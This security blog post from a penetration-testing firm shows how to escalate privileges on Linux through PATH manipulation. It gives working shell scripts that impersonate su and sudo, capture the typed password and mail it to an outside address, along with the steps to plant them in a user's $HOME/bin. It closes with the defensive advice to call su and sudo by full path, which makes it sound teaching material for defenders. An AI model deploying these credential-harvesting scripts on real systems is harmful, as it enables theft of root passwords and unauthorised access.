su: You're doing it wrong

This has to be one of the oldest tricks in the book but I still love it. It's so old I've actually dragged this post lock, stock and barrel off my (now defunct) personal blog because it came up again today, so it's still relevant.

Let’s say you manage to get shell access to a Linux (or other Unix) box as a standard user. As a penetration tester or evil h@x0r you’re likely to want to escalate your privileges to root. One of the simplest yet most reliable methods I’ve ever come across is PATH manipulation.

Too many systems administrators do this to su to root:

pwnme@debian1:~$ su
Password:
root@debian1:/home/pwnme#

Why is this bad? Because I can edit the environment for this user and make su be whatever I want. Now there’s load of things you could do with this but my favourite is a good old fashioned shell script which emulates the behaviour of su.

First we edit the PATH for the user. Traditionally $HOME/bin is placed first in $PATH if it exists so, if it doesn’t already you might want to create that and check the $HOME/.profile file to make sure it gets called first. What we’re trying to do is get our su script to be executed instead of /bin/su which the user intended.

Let’s check the .profile file, on Debian it’s just as we’d like it:

pwnme@debian1:~$ tail -4 .profile
# set PATH so it includes user’s private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH=”$HOME/bin:$PATH”
fi

So, let’s make the bin directory in $HOME, assuming it doesn’t exist.

pwnme@debian1:~$ mkdir bin

Now we put the following:

#!/bin/sh

echo -n “Password: ”
stty -echo
read password
echo
stty echo
sleep 3
echo “su: Authentication failure”

# muwahahaha, we have the password, now for the evil.
# you can make this do what you like here.
echo “su attempted with password: $password” | mailx -s “su attempt from `uname -n`” doesnotexist@4armed.com

exec /bin/su

into $HOME/bin/su and make sure it’s executable:

pwnme@debian1:~$ chmod +x bin/su
pwnme@debian1:~$ ls -l bin/
total 4
-rwxr-xr-x 1 pwnme pwnme 335 Jun 11 01:04 su

Great. Source the .profile again to ensure it’s up to date then you should see that $HOME/bin is first in $PATH and that our new su script is called first:

pwnme@debian1:~$ source .profile
pwnme@debian1:~$ echo $PATH
/home/pwnme/bin:/home/pwnme/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
pwnme@debian1:~$ which su
/home/pwnme/bin/su

That’s it. Sit back and wait for the user to come along and enter the root password. In my example above I’ll get an email but you could do whatever you wanted with the password. This script is not 100% but it took < 5 minutes to write so I think you get the idea.

Sudo will save you

Think because you use sudo you’re safe? Of course not. What about this?

#!/bin/sh

orig_command=$*
echo -n “[sudo] password for $LOGNAME: ”
stty -echo
read password
echo
stty echo
sleep 2
echo “Sorry, try again.”

# muwahahaha, we have the password, now for the evil.
# you can make this do what you like here.
echo “su attempted with password: $password” | mailx -s “su attempt from `uname -n`” root@offensivecoder.com

exec /usr/bin/sudo $orig_command

Same problem.

Solution

So the simple solution to all this is never to call su, sudo or any other sensitive commands without first verifying your PATH or using the full path. Personally I always use /bin/su or /usr/bin/sudo.

pwnme@debian1:~$ which sudo
/usr/bin/sudo
pwnme@debian1:~$ sudo id
[sudo] password for pwnme:
uid=0(root) gid=0(root) groups=0(root)

The observant among you will realise my which command could have been swapped out too. If so, my work here is done.

The code in this blog is on our Github page at https://github.com/4armed. This particular project is called tusu. Thank you su.

Author image

Marc Wickenden

Technical Director at 4ARMED, you can blame him for our awesome technical skills and business-led solutions. You can tweet him at @marcwickenden.

Related Blog Articles